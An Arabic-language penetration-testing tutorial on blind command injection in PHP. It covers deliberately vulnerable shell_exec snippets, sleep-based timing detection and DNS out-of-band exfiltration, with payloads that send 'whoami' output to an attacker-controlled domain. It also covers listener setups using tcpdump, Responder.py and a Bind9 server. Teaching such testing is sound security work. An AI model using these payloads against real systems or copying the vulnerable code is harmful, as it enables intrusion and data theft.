بسم الله الرحمن الرحيم

Blind Command Injection ( White Box ) :
طيب فالبداية نعتبر عندنا تطبيق ويب وبنفس الوقت عندنا السورس كود للتطبيق هذا ولنقل إن السورس كود كان يحتوي على هذا البي اتش بي كود

<?php
shell_exec($_GET[‘id’]);
?>
طيب الكود مثل مانشوف وظيفته بكل بساطة ياخذ اليوزر إنبوت عن طريق القيت باراميتر اللي إسمه
id
ويمررها لدالة
shell_exec
حلو جدا , هنا بإعتبار مانعرف عن الدالة أي شي كل اللي علينا بكل بساطة
shell_exec php manual
وهنا نشوف وظيفة الدالة

طيب بكل اختصار مثل مانشوف الدالة راح تنفذ لنا أوامر عالسستم نقدر نستغلها بطريقة
Unintended
Command Injection
حلو جدا , بس فيه مشكلة , الكود اللي قدامنا مايرجع لنا أي
output
والدالة نفسها ماتسوي
output’s display
فهنا نعرف إن الثغرة
Blind Command Injection
ليش قلنا بلايند ؟ لإن مثل ماشفنا مافيه أي آوت بوت راح يرجع لنا
— — — — — — -
فاصل :
لو كان الكود كذا

<?php
echo(shell_exec($_GET[‘id’]));
?>
أو كانت الدالة المستخدمة
<?php
system($_GET[‘id’]);
?>
هنا ماصارت بلايند , والسبب بكل بساطة فيه آوت بوت راح يرجع لنا

Blind Command Injection ( Black Box ) :
طيب لو كان السيناريو مختلف شوي وماكان عندنا صلاحية تسمح لنا نشوف الكود وش نسوي ؟
بكل بساطة حن جالسين هنا نختبر وجود كوماند انجكشن من عدمه فاللي راح نسويه راح نستخدم بعض الكوماند اللي عن طريقها نعرف بوجود الثغرة بدون مانشوف الآوت بوت
طيب مثل ايش ؟
sleep command
وش وظيفة الكوماند ؟
Delay execution
يعني بكل بساطة مانحتاج أصلا نشوف الاوت بوت لأننا راح نختبر هالمرة عن طريق الوقت المستغرق لتنفيذ العملية
هنا الريكويست طبيعي بدون السلييب كوماند

الباك اند سيرفر رجع لنا ريسبونس خلال
215 millis = 0.215 seconds
طيب الحين نجرب السلييب كوماند ونشوف هل راح يكون فيه تأخير فالتنفيذ أو لا
أنا هنا بختار عشر ثواني تأخير ونجرب ونشوف

هنا الباك اند سيرفر رجع لنا ريسبونس خلال
10245 millis = 10.245 seconds
بكذا تأكدنا إن فيه
Blind Command Injection
بدون مانشوف الكود
Out Of Band technique :
طيب حن الحين إكتشفنا فيه ثغرة بلايند كوماند انجكشن بس مانقدر نستخرج منها أي معلومات مفيدة فإيش الحل ؟
هنا تجي فائدة
OOB
بس فالبداية خلونا نعرف إيش هو أصلا
هنا تعريف بسيط من
Portswigger
Out Of Band technique is sending an attack payload that causes an interaction with an external system we have control over
يعني بالمختصر نحط كوماندز تكون بشكل أو بآخر تتواصل مع سيرفر خارجي يكون تحت تحكمنا
DNS Exfiltration :
طيب إيش هو الـ
DNS Exfiltration
تعريف من
akamai
Data Exchange over the DNS Protocol
بكل إختصار إرسال بيانات من داخل نيتوورك التارقت لخارجها عن طريق الدي ان اس بروتوكول عشان كذا قلنا عنه
Exfiltration
والعكس
Infiltration
طيب الحين عرفنا طريقة نقدر من خلالها نستخرج معلومات تفيدنا عن طريق استغلال الثغرة بالتكنيك المشروح فوق لكن هذا الشي كيف نسويه ؟
أنا راح أشرح أربع طرق
Burb Collaborator :
Burp Collaborator runs as a single server that provides custom implementations of various network services
مجازا , هم مسجلين دومين خاص وعندهم
DNS Server
ورابطين الدومين بالسيرفر بحيث أي عملية طلب للدومين راح تقدر تشوفها عن طريق
DNS Server’s logs or Listening on port 53
( الفكرة براسي أحسن لكن يالله ماعلينا )
راح نسوي شي مشابه تماما ويكون خاص لنا فالطرق الجاية بإذن الله
طيب بعد ما نجمع كل المعلومات اللي عندنا فوق راح يكون إستغلالنا بالطريقة هذي

/bci.php?id=curl ` whoami ` .BurbCollaborator_Domain
نلاحظ هنا وصل لنا
DNS lookup
ولو تلاحظون نتيجة الأمر
whoami
كانت موجودة كـ صب دومين
DNS Exfiltration
طيب أنت ماعندك بيرب برو وش ممكن تسوي ؟ الحين نبدأ نجهز شي خاص فينا وراح أستخدم ثلاث طرق بس فالبداية بشرح وش راح نحتاج قبل الثلاث طرق
AWS ( EC2 , inbound rules ) +Godaddy :
تحتاج يكون عندك سيرفر + دومين خاصة فيك
أنا اخترت امازون كلاود للسيرفر وقودادي للدومين
طيب بعد ماصار عندنا سيرفر نتأكد
Inbound rules > DNS’s port is open

بعدها تروح على صفحة الدومين الخاص فيك
DNS Management > Add HostName > Name Server
الدومين الخاص فيني انا اللي اخترته للشرح
meshal-mohammed.com
لحد الآن كل اللي جالسين نسويه ( مجازا ) ربط الدومين بالسيرفر الخاص فينا
وهذا مقطع فيديو في بدايته يشرح الطريقة بإختصار
من بداية المقطع لين
6:16
الحين نرجع للسيرفر ونشرح الثلاث طرق اللي قلت عليها فوق
Tcpdump :
تعريف من
tcpdump.org
Tcpdump is a command line utility that allows you to capture and analyze network traffic going through your system
طيب كل اللي علينا نتصل بالسيرفر ونحط الأمر
sudo tcpdump -n port 53
طيب إيش الفايدة منه ؟ نقدر نشوف لترافيك اللي توصل لبورت الدي ان اس وهو
53
وبكذا خلاص يصير البايلود
/bci.php?id=curl ` whoami ` .meshal-mohammed.com

وزي مانشوف قدرنا ننفذ الكوماند
DNS Exfiltration
الطريقة الثانية
Responder.py :
وظيفة الأداة
This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553
تلاقونها هنا
طيب بعد ماننزلها لازم تشغل الأداة بصلاحيات الروت + تحتاج بايثون 2 لتشغيلها
الكوماند بكل بساطة
sudo python2 Responder.py -I eth0
تبدل
eth0
بالنيتوورك انترفيس الخاصة فيك , تقدر تعرف عن طريق
ifconfig
or
ip a
والنتيجة

الطريقة الأخيرة
Bind9 DNS Server:
فيه توول بسيطة تسوي لك أوتوميشن
تلاقونها هنا
https://github.com/JuxhinDB/OOB-Server
وظيفتها
A simple Bind9 server that acts as an open DNS resolver.
الكوماند :
sudo ./setup meshal-mohammed.com 18.219.249.213

تبدل الدومين والآي بي بالدومين والآي بي الخاصة فيك
بعد ماتنتهي تقدر تراقب الـ
DNS Server’s logs
عن طريق الكوماند
sudo tail -f /var/log/named/named.log
وفالختام زي ماأقول دائما وأبدا لايهمك الشرح قد أكون شرحت شي يتبين لي بعدين إنني كنت غلطان فيه بجزئية بسيطة , اللي أبغاك تستفيده من الموضوع هو إنك تعرف أقل شي الطرق والأساليب وأنت بطريقتك تبحث وتستزيد فالموضوع وبإذن الله الشرح يفيد ولو شخص واحد فقط
اللهم إن أخطأت فمن نفسي والشيطان وإن أصبت فمن كرمك ولطفك
دعواتكم
Happy Testing ^_^

